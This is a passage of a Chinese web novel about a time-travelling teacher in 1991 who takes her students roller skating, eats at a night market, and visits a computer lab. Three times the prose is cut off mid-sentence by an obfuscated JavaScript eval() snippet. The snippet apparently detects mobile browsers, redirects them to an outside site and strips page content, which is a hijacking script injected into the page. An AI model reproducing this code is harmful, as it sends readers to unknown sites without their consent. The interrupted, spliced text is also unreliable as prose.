“这倒是不必了,”徐嘉禾没忍住笑,她看着底下一张张满是期盼的脸,最终笑道,“那我明天和你们一起去吧。” 周六是个难得的晴天,下午的阳光虽然照在身上也没什么温度,但灰蒙蒙的天亮了,让人心情也跟着敞亮。 徐嘉禾提前十分钟到了人民公园门口,她今天穿了自己新买的衣服,看起来比平时更像大学生了。 五班的学生们已经提前到了一部分,一群人在公园门口嬉笑打闹,少了许多徐嘉禾在学校里见到他们时的拘束,显得更加活泼。 谢昭是踩着点到的,她今天穿了一件花里胡哨的外套配牛仔裤,整个人青春活力。徐嘉禾总觉得,她这身衣服放到三十年后,都能让自己犯潮人恐惧症。 徐湛则显得朴素许多了,只穿了一件简单的夹克衫。他单手拎着包跟在谢昭身后,看到徐嘉禾,冲她点了点头,算是打过了招呼。 徐嘉禾点了点人数,惊奇地发现班上几乎所有同学都到了,只除了一个人:周文瑞。 “周文瑞不来吗?”徐嘉禾奇道,“不能啊,昨天说要滑旱冰,他不是最积极吗?” “老师,他要来,”吕晓杨闻言举手道,只是脸上的表情怎么看都是在忍笑,“我们俩住得近,一起出门的。只不过,他爸昨晚看了班刊,发现自己儿子的小说被印出来了还有人买,一时激动,直接奖励了周文瑞他想要好久的自行车。” “他今天早上还跟我炫耀他的新车呢,说他要骑自行车过来给大家欣赏。我懒得理他,就自己坐公交车来了,他这会儿估计还在路上蹬自行车吧?” 徐嘉禾:“……” “那你们先进去吧,”五班的同学们闻言都在窃笑,徐嘉禾捂脸,尽力忍住笑意,“我在门口等他就好。” 徐嘉禾在公园门口等了约莫一刻钟,这才看见周文瑞的身影,少年骑着一辆崭新的自行车,老远就按着车铃风驰电掣地飞了过来。 他脸上是藏不住的意气风发,脚下蹬得飞快,到了徐嘉禾跟前才猛地一个飘逸甩尾,将车刹住,一只脚支着地,另一条腿还跨在车上。 “徐老师,你在等我吗?”周文瑞额头上还冒着细汗,见徐嘉禾站在门口,笑得露出两颗虎牙,“看我的自行车!” “看见了看见了,”徐嘉禾忍俊不禁,“快去把你的宝贝新车锁好,大家都进去了。” 周文瑞响亮地应了一声,笑眯眯地推着车去存,脚步都透着轻快。 人民公园大门虽然已经装修过很多次了,内里的游乐场却和徐嘉禾记忆中的一模一样。 就连旱冰场都是徐嘉禾小时候去玩过的、设在碰碰车楼上的那个,隔着半个游乐园,徐嘉禾都能听到震耳欲聋的《潇洒走一回》。 他们两个到的时候,五班大多数的学生已经换好了旱冰鞋,三三两两地聚在一楼入口的地方。 吕晓杨和其他几个没怎么玩过旱冰的女生男生正紧紧抓着长条椅背,一动不敢动,脸上又是紧张又是新奇。徐嘉禾和周文瑞两人将轮滑装在鞋上,站起来稍微适应了一下,便抓着扶手往二楼的旱冰场走去。 其他几个人见最后两个人也到了,还毫不犹豫地换了旱冰鞋上楼,你看看我我看看你,最后还是一咬牙,跟在徐嘉禾的身后也踏入了旱冰场。 徐嘉禾上次滑旱冰还是在小学的时候,这会儿复健起来,脚下的轮子有些不听使唤。她扶着栏杆,慢慢在二楼长椅上坐下,想着先熟悉一下再开始滑。 谢昭则已经稳稳地滑了起来,她显然是老手了,动作泰然自若、姿态舒展而优美,轻轻松松地绕过几个跌跌撞撞的同学,在场中划出流畅的弧线。 “好厉害啊!”有男生吹了声口哨,大叫。 谢昭嘴角噙着笑,也没理他,滑完小半圈回来,一个转身稳稳停在徐嘉禾面前:“徐老师,你真不会滑?要不要我带你两圈?” “你玩你的,”徐嘉禾笑着摆手,目光在场内搜寻,“我看看……徐湛呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145766|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢昭顺着她的目光看去,只见徐湛独自一人坐在角落的长椅上,正皱着眉、低着头研究旱冰鞋的绑带。 “喂,徐湛同学,”谢昭脚下用力一蹬,便滑了过去,在他面前停下,投下一片阴影,“行不行啊? 徐湛抬起头,浅色的眸子看向她。 “这个搭扣不是挺好调的吗?”谢昭弯腰,毫不客气地拍开他的手,“手拿开,我看看。” 徐湛默默坐起身,谢昭蹲下去,三下五除二就把已经被扯得看不出原样的搭扣解开,又重新调节到适合徐湛的尺寸:“好了,试试。” 徐湛试着动了动脚踝,果然稳多了,低声说:“谢谢。” “光谢我有什么用,你不站起来滑,我就白给你系了。”谢昭直起身,抱着手臂看他,“敢不敢松开栏杆?” 徐湛沉默了,他看了一眼旱冰场光滑的水泥地面,以及上面飞驰而过的身影:“……不太敢。” 场子里已经热闹起来,会滑的如鱼得水,在场中穿梭,甚至尝试着倒滑、拉着手转圈;不会的也紧紧抓着场边的扶手,开始学着小心翼翼地挪动。 吕晓杨和几个女生互相搀扶着,虽然滑得跌跌撞撞,但脸上都是兴奋的红晕。场中央还有几个技术好的学生玩起了竞速,你追我赶,好不热闹。 谢昭看了那边一眼,有点跃跃欲试,但瞥见身旁还在一步一滑的徐湛,又收回了眼神,开始全神贯注地盯着他。 “要不,你还是自己去玩吧。”徐湛察觉到了她的目光,他抿了抿唇,眼睛盯着地面,声音闷闷的。 “我去了你怎么办?”谢昭抱臂,“万一真摔了呢?” “摔了就摔了。”徐湛的声音没什么情绪,只是别过头,不看谢昭。 “怎么就这么别扭,”谢昭翻了个白眼,滑到他面前,转过身面对着徐湛,冲他伸出手,“抓着。” 徐湛一愣,抬头看她。 少女逆着光,脸上的表情带着点不耐烦,但伸着的手也没有缩回去。 “快点啊,磨蹭什么。”谢昭催促。 徐湛迟疑了一下,伸出手握住了她的手腕,少年的手指修长,掌心有些凉。 “我先带你走两步,找找感觉。”谢昭不由分说,拉着徐湛就开始往前滑,“保持平衡,重心放低,别盯着地面上看啊!” 在谢昭的一半强迫一半教学之下,徐湛终于还是磕磕绊绊地滑出了一截路程。 最初的慌乱过后,他渐渐找到了平衡感,身体也不再那么僵硬。虽然他的动作依旧笨拙,显得有些小心翼翼,但至少能够自己开始动腿,而不是顺着谢昭的力道往前滑了。 “这不是能滑嘛,”谢昭满意地点点头,松开了一点力道,让他自己维持平衡,“你自己试试,我在旁边。” “徐湛!看这边!”周文瑞不知何时已经玩疯了,正嘚瑟地试图倒滑,见状又滑到徐湛旁边怂恿,“过来一起啊!” 他说着就要去拉徐湛,徐湛慌忙摆手,脚下又是一滑。 谢昭眼疾手快,上前半步,一把扶住了徐湛的胳膊,把他整个人稳住了。 “周文瑞,你自己玩去!”她扭头吼了一嗓子,“没看见这儿教初学者呢?摔了你负责?” 周文瑞做了个鬼脸,脚下用力,一个漂亮的转身滑远了,还不忘回头喊:“你俩加油噢!” 徐湛努力顺着谢昭的力道放松,他目光扫过谢昭挽到关节处的袖子和露在外面的、还没拆线的伤口,顿了顿:“你的手……这样用力没关系吗?” “早没事了,缝了几针而已,又不是断了。”谢昭满不在乎地看了眼伤口,“你给我专心看路,别东张西望、想东想西。” 两人沿着场边慢慢滑行,速度不快,但也比刚开始教徐湛时轻松了许多。 “徐老师,”谢昭拉着徐湛,在徐嘉禾旁边稳稳停住,顺手扶了因为被叫到名字惊讶回头而差点摔倒的班主任一把,“需要陪练吗?我可以考虑不收你钱。” “谢教练,”徐嘉禾哭笑不得,“你还是先把你手里面的这个学员教出师吧。” 21. 第 21 章 渐近黄昏,阳光将天空与城市的交际线染成橙粉色,公园里娱乐设施的灯光次第亮起。 学生们疯玩了一整个下午,终于感受到了疲倦。时间也差不多了,一群人下楼还了旱冰鞋,三三两两聚在一起向公园外走去,一边笑闹着谈论刚才滑旱冰时的趣事,一边买了汽水分着喝。 离开公园,大家打了招呼、各自散去。徐嘉禾正准备往公交车站走,谢昭却追了上来。 “徐老师,”谢昭的旱冰鞋是自己带的,嫌麻烦就没换下来。她滑到徐嘉禾身边,额发还是湿的,整个人却仍然精神十足,“你要直接回家吗?” “是啊,回家做晚饭,”徐嘉禾看着一脸期待的谢昭,没弄清她葫芦里卖的什么药,“怎么,你还有安排?” 谢昭摸了摸鼻子,没直接回答,反而转头看向落在所有人后面的徐湛:“徐湛,你饿不饿?” 徐湛抬起头,同样有些疑惑地看向谢昭,不过他还是诚实地点头:“有一点。” “我也饿了,”谢昭等的就是这句话,心满意足地道,“市中心的夜市好像最近扩建了,你们去过吗?” 谢昭都说得这么直白了,徐嘉禾哪能听不懂她的弦外之音。她看着谢昭那副明明想主动邀约、却又别别扭扭不肯直说的样子,心里好笑。 “没去过,”自己的妈妈,自己不宠着,还有谁来宠。徐嘉禾大手一挥,顺着谢昭的话往下说,“听起来不错,要一起去看看吗?” “不过,”她说着,又看了看周围还未散尽的五班众人,“就我们三个去?” “人多了吵,而且也容易走散,我们三个人正好,”谢昭立刻说,随即像是觉得缺乏说服力似的,又补了句,“再说了,大部分同学应该都各回各家了吧。” 徐嘉禾也没揭穿谢昭的私心,只是笑眯眯地看向徐湛,征求他的意见。少年犹豫了片刻,最终也还是点了头:“我都可以。” 于是接下来的行程,就这么定了下来。 这还是第一次,徐嘉禾完完全全像同龄的朋友一样和谢昭与徐湛两人相处,而不是以老师或者是长辈的身份。 1991年市中心的夜市虽说没有如今车水马龙的繁华,却人潮汹涌,有着独特的烟火气。尚且狭窄的街道两旁支着各式各样的摊位,徐嘉禾看着倒觉得更像三十年后的批发市场。 华灯初上,三个人随着人流慢慢走着,一路上,各个摊位各色美食看得人眼花缭乱。他们讨论了一会儿,决定先解决正餐,再考虑小吃的问题。 三人在最为火爆的一家肥肠粉店外坐下,老板忙得脚不沾地,只来得及给他们在人行道上支上一张折叠桌,就又去别的位置招呼客人了。 虽说老板的服务态度不怎么样,粉倒是很快地就端了上来。徐嘉禾和徐湛吃肥肠粉都习惯吃清汤的,但谢昭那碗加足了辣,葱花飘在红彤彤的油上,显得诱人至极。 “你们都不吃红汤的?”谢昭挑起一筷子粉吹了吹吃了下去,吃得鼻尖冒汗,嘴唇也变得微微红肿,她吸了吸鼻子,疑惑道。 “肥肠粉吃太辣的很呛吧?”徐湛正低头挑着自己碗里的粉,闻言道。 “一点也不呛,很好吃的,你试一试?”谢昭拆了副新筷子,夹了一筷子自己的肥肠粉递到徐湛面前。她见徐湛还有些犹豫,看热闹不嫌事大地怂恿,“男子汉大丈夫,这点辣怕什么?” 徐湛本来还在纠结,谢昭这话一出,他就默默地把那一筷子粉放进了嘴里。下一秒,他的嘴唇就以肉眼可见的速度泛红,被呛进嗓子里的红油激得剧烈咳嗽起来。 谢昭一愣,赶紧开始猛拍徐湛的背,把已经晾凉的茶水推了过去:“快喝点,真这么呛人吗?” “其实我不是很怕辣,”徐湛把一杯茶水全灌完,才勉强压下喉咙里的灼烧感。他眼角的生理性泪水还没干,抬头看谢昭,睫毛上的泪珠要坠不坠,“但你这碗辣椒油太多了,我有点不习惯……” 谢昭看着他这副样子,有点不自在地摸了摸鼻子:“……不能吃辣就别强吃嘛。” “你说男子汉大丈夫。”徐湛泪眼汪汪地看着谢昭,语气里难得带了一丝委屈。 谢昭被噎了一下,竟有点无言以对,只好又把自己的那杯茶水也递过去:“我的错我的错,不该欺负你,拿去压压?” 徐嘉禾在旁边看热闹,也跟着吃了一口粉,熟悉的胡椒味道让她幸福地眯起了眼睛。 “我还是比较喜欢吃清汤的,”她感叹,“我小时候吃不了辣,吃肥肠粉都吃清汤;长大之后能吃辣了,还是习惯吃清汤。” “小时候啊……”谢昭刚把那边的徐湛哄好,闻言好奇地问,“徐老师小时候是什么样的呢?” 徐嘉禾心道,我小时候怎么样你应该最清楚了吧。她笑了笑,终究还是忍住了,只是说“之后有机会再告诉你们”。 夜市人声嘈杂,三人插科打诨,气氛其乐融融。正在此时,一个佝偻的身影缓慢地挪到了他们桌边不远处。 那是个头发花白凌乱的老婆婆,衣衫褴褛,脏兮兮的手里捧着一个豁了口的瓷碗,碗里零星有几枚分币。 她并不出声,只是用浑浊的眼睛,怯生生地看着各桌吃饭的客人,伸出手里的碗晃上一晃,硬币碰撞发出些声响,吸引他们的注意。 大多数食客都皱起了眉,有的嫌恶地别开脸,有的干脆端着碗挪到更远的桌子去。 老板在忙碌的间隙抬头瞥了一眼,眉头拧紧,似乎想呵斥,但她终究只是摇了摇头,就转身继续忙活了。 “她怎么又来了,”旁边卖烤土豆的妇女撇了撇嘴,对熟客嘀咕,“这老太婆在这条街好些天了,脏兮兮的,影响生意。” “是不是脑子不太清楚啊,”熟客也跟着压低声音,“家里人居然也放心让她在外面呆着,没人管吗?” “谁知道呢,不过要是真是神经有问题,还是离远点吧,指不定突然跳起来捅人呢。” 谢昭看着将要走到他们这桌的老婆婆,抿了抿唇。她蹙着眉,什么也没说,只是站起身,径直走向了还在锅边忙碌的老板。 “老板,再下一碗肥肠粉,清汤的,”谢昭的声音传来,“煮软一点。” 老板愣了一下,顺着她的目光看了一眼那老婆婆,似乎明白了什么。她脸上的不耐消散了些,点了点头:“行,等着。” “婆婆,”谢昭回到座位上,提高声音叫在隔壁桌刚碰了一鼻子灰的老婆婆,“来我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150220|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿坐吧。” 老婆婆茫然地抬头,浑浊的眼睛看着面前这个穿着时髦、眉眼凌厉的少女,又看了看她指着的小板凳,瑟缩了一下,没敢动。 徐湛见状,默默起身,将谢昭指着的那个凳子放到空着的隔壁桌,冲婆婆点头示意:“婆婆,你来这儿坐吧?” 或许是两人的表情足够真诚,或许是两人的语气足够友善,老婆婆终于犹豫着,慢吞吞地挪了过去。她小心翼翼地在桌子边缘坐下,只是不敢抬头看周围的环境,依旧低着头,把破碗紧紧抱在怀里。 很快,老板端来了一碗热气腾腾的清汤肥肠粉。谢昭接过,端到老婆婆面前的小桌上:“婆婆,趁热吃。” 老婆婆抬起头,茫然地看着她,又看看那碗冒着热气的粉,脏污的手在衣角蹭了蹭,没敢接。 “送给你吃的,不要你的钱。”谢昭把碗又往前递了递。 老婆婆枯瘦的手指触到温暖的碗壁,她顿了顿,捧着碗,低头看着氤氲而上的雾气发呆。 她又抬头看了谢昭一会儿,嘴唇动了动,似乎想说什么,最终只是含糊地发出几个不成调的音节,然后低下头,狼吞虎咽起来。 一时间,三人都看着这个流浪的老婆婆陷入了沉思。 徐湛不知道另外两个人在想什么,但他看着对方花白的发顶,莫名其妙地,想起了自己那些被评价为空中楼阁的文字。 恍惚间,徐湛觉得,自己过去那些关于未来、世界、遥远理想的沉思,在这样一个寒冷的夜晚、在一份肥肠粉和一位衣衫褴褛的老人面前,忽然显得毫无意义。 至少,对于现在的他来说是没有意义的。 也许徐嘉禾说得对,他想,他或许明白,她说过的“能够打动自己的内容”,是什么样的了。 夜市的人潮渐渐稀疏,老婆婆吃完那碗粉,默默将筷子整整齐齐地平放在碗沿上。她站起身,颤巍巍地对他们点了点头,佝偻着身子,慢慢消失在步履匆匆的人群里。 桌上安静了片刻。 “接下来去哪儿?”谢昭打破了沉默,“我还想吃点别的。” “那边有卖烤红薯的,很香。”徐湛闻言,指了指前面一个小摊位,巨大的炉子上面烘着红薯、玉米、土豆。 “那就吃那个!”谢昭眼睛一亮,“分着吃,刚好。” 三人最后买了一个红薯和一个土豆,掰着吃每人都能吃到两种不同的味道。 “徐老师,”谢昭一边咬着手里撒了椒盐的烤土豆,一边含糊不清地说,“我今天早上和于晖老师约了,明天要去少年宫详谈下一期的专栏合作。他说想听听我们更具体的想法。” “这么快?”徐嘉禾有些意外于晖的积极。 “嗯,我们第一期班刊他看了,再加上学生反响不错,有好几个人去咨询了。”谢昭咽下食物,眼睛在夜市昏黄的灯光下显得格外明亮。 “他说,为了让我们更好地宣传计算机,明天可以让我们试听几节课程,如果有机会,他也可以来我们学校为我们开展相关讲座。” 谢昭的话,让徐嘉禾心里微微一动。 徐湛大学读的就是计算机专业,难道,他的兴趣居然是在这个时候培养出来的吗? 22. 第 22 章 周日清晨的空气干燥而清晰,少年宫里热闹至极,走廊上挤满了带着孩子前来参加培训班的家长, 于晖的计算机兴趣班的办公室在三楼,比起一楼舞蹈绘画兴趣班门庭若市的盛况,这里显得安静许多。办公室的门虚掩着,于晖正低头整理资料,听到敲门声抬头,看到是他们,脸上露出了笑容。 “正等着你们呢,”他比上次热情地多了,起身招呼,“坐,你们第一期班刊我看到了,专栏文章写得真是好。昨天有好几个你们学校的学生家长,带着你们的班刊来咨询我们的课程呢。” 连写这篇文章的徐湛本人,都没有想到居然真的会有这么明显的效果,不过这无疑是对他们能力最大的肯定。 “谢谢于老师对我们的肯定,”谢昭笑了笑,冲于晖点头,递上一份更加完善的合作方案,“所以关于下个月的专栏,我们想和您深入聊聊。” “我们一致认为,专栏内容可以做得更深入一些,比如介绍编程的简单知识、以至于计算机这个专业未来可能的职业方向。当然,我们自然没有于老师对计算机熟悉,这点,我们就需要向你学习了。” 于晖接过方案,仔细翻阅,他看得很快,不时点头,发出赞叹的声音。 “很好,真的很好,”于晖放下方案,抬头看向谢昭和徐湛,眼里满是赞赏,“这样吧,专栏内容我可以亲自来写,也可以指导你们的同学来写。” “不过,我有个不情之请,”他顿了顿,看向徐嘉禾,“徐老师,如果方便的话,我想带两位同学参观一下我们的机房,让他们亲身接触一下计算机。” “我看过了,之前那期专栏应该就是这位徐湛同学写的吧?文章是写得很好的,但我想,还是只有真正见过、了解过计算机,要想向他人去介绍,才会更有说服力。” 谢昭和徐湛对视一眼,两人眼里都闪过一丝欣喜。尤其是徐湛,他写那篇介绍计算机的文章时,全凭从杂志和报纸上艰难收集到的信息。若能亲眼见到、亲手摸到计算机,那感觉自然就会完全不同。 徐嘉禾看着喜悦已经写在脸上的两人,笑着点头:“当然方便,这是他们的荣幸。只是要麻烦于老师了。” “不麻烦,跟我来吧。”于晖起身。 他领着三人走出办公室,沿着走廊来到最里间的一扇铁门前。 推开机房的门,第一眼看到的,就是不算大的房间里整齐排列着的七八台机器。绿色的桌面、厚重的白色主机和键盘,这些在徐嘉禾眼里可以被称归类为老古董的东西,在谢昭和徐湛眼里却可以说是十足新鲜。 谢昭和徐湛站在门口,一时竟有些不敢迈步,眼前的玩意儿超出了他们贫瘠的想象,专门为计算机设立的机房也为计算机蒙上了一层神秘的面纱。 “别紧张,穿了鞋套进来就好,”于晖把鞋套分给三人,带头走到一台已经开机的机器前,拉过椅子,“坐,我给你们简单演示一下。” 徐湛听从他的示意坐下,他有些拘谨地坐在椅子上,手指悬在键盘上方,碰也不是、不碰更不是,一时间有些手足无措。 “它没这么脆弱,你可以试着按按它。”于晖笑道,为徐湛打开了一个打字教程软件,“你只需要跟着指令按键盘就好了。” 徐湛应了一声,小心翼翼地跟着屏幕上显示的英文文章打字。 “计算机就是这样用的,”于晖在一旁解释,“而编程,就是用它能理解的语言,给它一系列指令,让它帮你完成事情。” “比如用计算机来写文章吗?”谢昭也凑了过来,看着屏幕。 “不止,”于晖为谢昭打开了另一台电脑,他点击一个图标,屏幕上出现了一个像素风格的游戏界面,“这个就是编程做出来的、比较简单的游戏。” 于晖操作着键盘上的空格键,控制着屏幕上那只一直飞在半空的鸡,努力从管道中间穿梭过去。谢昭看得津津有味,徐湛的目光却更多停留在游戏界面后方不停滚动变化的代码界面。 徐嘉禾也跟着凑过去看,她在从小到大的微机课上学过一点python,不过此刻于晖电脑上显示的代码她看不懂。 谢昭试了一会儿游戏就起身把位置让给了徐湛,她对游戏有些兴趣,但对一行行枯燥无味的代码毫无兴趣。 于是于晖停下来,问看起来兴趣盎然的徐湛:“你想试试编程本身,还是想试试玩游戏?” 徐湛几乎没有犹豫:“编程。” 于晖有些意外,随即笑了:“好。” 他退出游戏,回到编程界面,从一切的最开始,一步步教起徐湛最基础的命令。 徐湛听得格外认真,他的眸中闪烁着一股灼热的好奇与探索欲。虽然是第一次碰键盘,但他很快就适应了键盘上字母的布局,操作从一开始的生涩,到后面逐渐流畅,甚至还完整地打出了一小段指令。 谢昭也凑近了看,她对编程的兴趣没那么浓厚,在旁边听于晖的讲解也是如听天书,但她注意到了徐湛的变化。 谢昭从来没有见过徐湛的这种状态,甚至在他写出自己最满意的文章、读自己最喜欢的书的时候,也没有如此投入。 “徐湛同学似乎对编程很感兴趣?”不知过了多久,于晖吐了口气,满意地看着上手极快的徐湛,“或许可以考虑以后学习计算机,你们学校有微机课吗?现在不少中学都开始配备了。” “于老师,你还真是提醒我了,”说到这儿,徐嘉禾思索了片刻,眼睛亮了亮,“我们学校这学期确实引进了计算机,听说明年就要开微机课了,虽然可能课时不多,机器也少,但好歹是个开始。” “学校里也要有了?”徐湛猛地转头看向徐嘉禾,语气里带着平时少有的迫切。 “嗯,我听教务处提过,上面在宣传计算机,咱们学校算是试点吧。”徐嘉禾点点头,“不过具体开课时间、教些什么,我还不太清楚。可能得等这批设备完全到位才会慢慢开始推行。” 徐湛沉默了,目光重新落回屏幕上闪烁的字符。 学校会有微机课,这意味着,他有可能在平时的学习中,就能系统地接触计算机这个新奇而神秘的东西,而不仅仅是像现在这样,只是偶然地来少年宫体验一下。 一种强烈的渴望在他心中滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“徐湛,”徐嘉禾放下申请书,看着眼前的少年,“你想学微机,我支持你。但你要知道,这门课不直接影响你的高考成绩,甚至可能会占用你一些复习其他科目的时间。” “而且,入门之后再想要深入,需要付出极大的努力,你确定了吗?” 徐湛抿了抿唇,沉默了片刻:“我想好了。” “好,就知道你会坚定自己的选择,”徐嘉禾满意地点了点头,毫不犹豫地在徐湛的申请书上签了字,“去吧,去教务处拿给刘主任,他要是不同意,你直接让他来找我。” 徐湛应了一声,刚想离开,又被徐嘉禾叫住了:“等一下。” 徐湛疑惑地回头,就见徐嘉禾从桌柜底部的一堆杂物里费力地掏出一摞书递给他,接过来一看,最上面的一本是《计算机入门》。 “既然要搞,那就好好搞,”徐嘉禾拍了拍手上的灰,笑道,“认真搞了,我带你去参加省上的信息技术竞赛,如果拿了奖,说不定还会对你考大学有帮助呢。” 徐湛嗓子里哽了一下,他看着徐嘉禾,一时间不知道该说些什么。 “徐老师,”他最后小声道,“谢谢你。” 23. 第 23 章 这次大考的成绩公布时,徐嘉禾能明显感觉到,学生们的状态又低迷了起来。 她站在讲台上,看着手中那份成绩单,比起她刚接手五班时惨不忍睹的成绩,这次确实有了不小的进步,每科平均分都提高了十来分。 但也就仅此而已,高二五的总平均分仍然是倒数,努力似乎并没有带来立竿见影的回报,这让许多本就不自信的孩子再次产生了自我怀疑。 “知道你们在想什么,”徐嘉禾放下成绩单,目光缓缓扫过台下,“进步了,但进步得不够多,对不对?” 底下的学生们沉默着,一语不发,似乎是想不出自己应该找什么借口,去解释这个看上去还是一团糟的成绩。 “我知道,你们中的很多人对自己并不满意,认为自己还是没有取得一个好成绩,”徐嘉禾语气平静,“但是,我们应该纵向比较,而不是横向比较。” “在我看来,一个月的时间,各位能有这样的变化,已经很不容易了。我们接下来要做的是保持这样的进步,取得成绩也是自然而然的事,急不得。” 期中考试后的第一次家长会,也是徐嘉禾来到锦大附中后的第一次家长会,她在教室里见到了不少熟悉的面孔。 谢昭的父母都来了,还专门领着谢昭来找徐嘉禾单独谈话。 谢昭的母亲依旧是那副温婉但略显疲惫的模样,父亲则全程板着脸,直到听到徐嘉禾一直在努力夸奖谢昭领导力很强、也很有责任心,眉头才略微舒展开。 “但她成绩还是老样子,”谢父沉声道,一巴掌拍在旁边低着头、百无聊赖地踢着地面的谢昭后脑勺上,“老师在说话,你低着头做什么?” “谢昭同学在慢慢进步,这次每科也都进步了十多分,”徐嘉禾耐心解释,“家长,学习不是一蹴而就的事,重要的是她已经在认真学习努力了,这是很好的开始……” “是啊,老师说得有道理,”谢母听着连连点头,“昭昭最近回家也愿意跟我们说话了,还会认真做作业,以前……” “以前是她不懂事,”谢父严厉地打断妻子的话,他再次看向徐嘉禾时,脸上挤出一个笑容,“老师多费心,该严厉的时候要严厉,她不听话,你要打骂都是可以的。” “家长,我们现在是文明教学,不打骂孩子,”徐嘉禾心中暗叹,面上却保持微笑,“但谢昭的事情,我当然是会上心的。” 就这样一来一回,徐嘉禾几乎和班上每一个同学的家长都打了一通嘴炮。家长会结束后,她累得几乎瘫在办公室椅子上,许晴递过来一杯热水:“怎么样?没被家长为难吧?” “感激不尽,”徐嘉禾感恩戴德地接过水杯喝了一口,才感觉自己活了过来,“还好,大部分家长看到孩子的进步,都还是挺高兴的。” “那是因为你确实做得好,他们想找茬也找不出什么来,”许晴在她对面坐下,揉着站到酸痛的脚踝,“我们班那几个祖宗,家长一直问我为什么他们的孩子不学习……我寻思着我嘴皮子都磨破了,他们就是不学,我也没有办法代替他们去学啊。” 徐嘉禾苦笑着摆手:“都一样。” 窗外天色渐暗,办公室里的老师打了招呼陆续离开,最后,整个办公室只剩下她们两人。 “徐嘉禾,你晚上有安排吗?”许晴一边收拾着背包,一边像想起什么似的,道,“没有的话,要不要来我家吃晚饭?好不容易忙完这段时间了,我买了条鱼想庆祝,但一个人好像也吃不完。” “我……”徐嘉禾本想下意识地拒绝,但看着许晴期待的眼神实在没忍心,话到嘴边改了口,“好,那就打扰了。” 许晴住在学校附近的老居民区,一室一厅的小房子收拾得既整洁又温馨,跟徐嘉禾那个仗着只有自己住、就造得一团糟乱的房子形成了鲜明的对比。 许晴显然因为徐嘉禾的到来而心情颇佳,她系上围裙,哼着歌走进小小的厨房:“你先坐,随便看,很快就好。” 徐嘉禾在沙发上有些拘谨地坐下,她也不好意思真的到处乱翻,只能在目光在客厅里乱瞟。 一晃眼,徐嘉禾被茶几上立着的几个相框所吸引了。一张照片上的许晴看起来更年轻,扎着两条麻花辫,穿着蓝色的布衣衫,站在一片油菜花田前,笑容灿烂;另一张照片则是许晴的家庭合照。 “那是我老家,”许晴端着一盘切好的苹果走出来,顺着徐嘉禾的目光看去,笑道,“就在锦宁附近的县份里。” “很美。”徐嘉禾由衷地说。 徐嘉禾从小到大都生活在城市里,见到这么大田地的次数屈指可数。 “喏,吃苹果,很甜的,”许晴笑了笑,在徐嘉禾身边坐下,“美则美矣,但也是真的穷。” “你看这个,”她说着,把另一张照片也拿过来,“我是家里老大,下面还有两个妹妹一个弟弟。本来当大姐的,上完小学就不该读书了,回家帮忙干活供弟妹才是正事,” “那你是怎么……”徐嘉禾张着嘴呆了好半天,才试探着问。 “我跪着求我爹,说让我读下去,我能有出息,”许晴拿起一张照片,指尖轻轻摩挲,“我说我考上师范就不要家里的钱,将来工作了一定寄钱回家。我爹抽了一晚上旱烟,第二天早上说,行,你去考吧。” 厨房里的水烧开了,许晴起身去关火,声音从厨房传来:“我考上了师范,毕业后分配到锦宁,每个月工资寄一半回家。” 徐嘉禾沉默地听着,她忽然觉得,自己似乎明白了许晴为什么总是那么节俭,为什么又不像其他老师一样对她和五班的学生们避之不及。 自己经历过刻板印象和社会规训带来的苦难,自己就很难再成为加害者了。 “所以,徐老师,我很敬佩你。”许晴端着炒好的菜走出来,笑着说。 “敬佩我?”徐嘉禾连忙起身,帮忙摆碗筷,闻言皱眉。 “是呀,”许晴点了点头,满怀憧憬地说,“我是没办法,只能靠这个工作过活;但你不一样。你是首都师范的,大有出息,但是还是愿意静下心,花心思教五班的那群孩子,你才是俯首甘为孺子牛啊。” “你把我想得也太高尚了。”徐嘉禾实在是没有想到,许晴的内心深处居然是这么看自己的。 这样的评价,原是徐嘉禾曾对另一个人说过的。 徐嘉禾过去常问他,以你的成绩与天分,无论是去找个什么工作,都可谓是广阔天地大有所为。 你要是想教书,大可去大学做教授;你要是想挣钱,以你的能力,去哪个龙头企业都不成问题,怎么就回母校当了个小小的高中竞赛教练? “我以为我们的心是一样的,”那时,对方只是沉默了片刻,随即认真地道,“你为什么当高中老师,我就为什么当高中老师。” “不一样,我是没办法了,随便找的工作而已,”徐嘉禾坚持,“你又是为什么?难不成真是俯首甘为孺子牛?” “好吧,”对方也没有想到徐嘉禾会这么回答,他想了想,最后说,“大概是因为,我觉得高中生会更需要一个不一样的老师,告诉他们世界不是他们过去所见到的那样的吧?” “果然是奉献精神吗?”徐嘉禾咋舌,“好高尚的品格。” 珠玉在前,徐嘉禾实在觉得自己当不起这样的评价,只觉脸上火辣辣地烧得慌,连忙笑道:“许老师,你比我厉害多了;我若是过了你的人生,多半就只能读了小学回家喂猪了。” 许晴愣了一下,随即笑了:“厉害什么呀,只是不想将就、不甘心而已。” 那晚,两人聊到很晚。 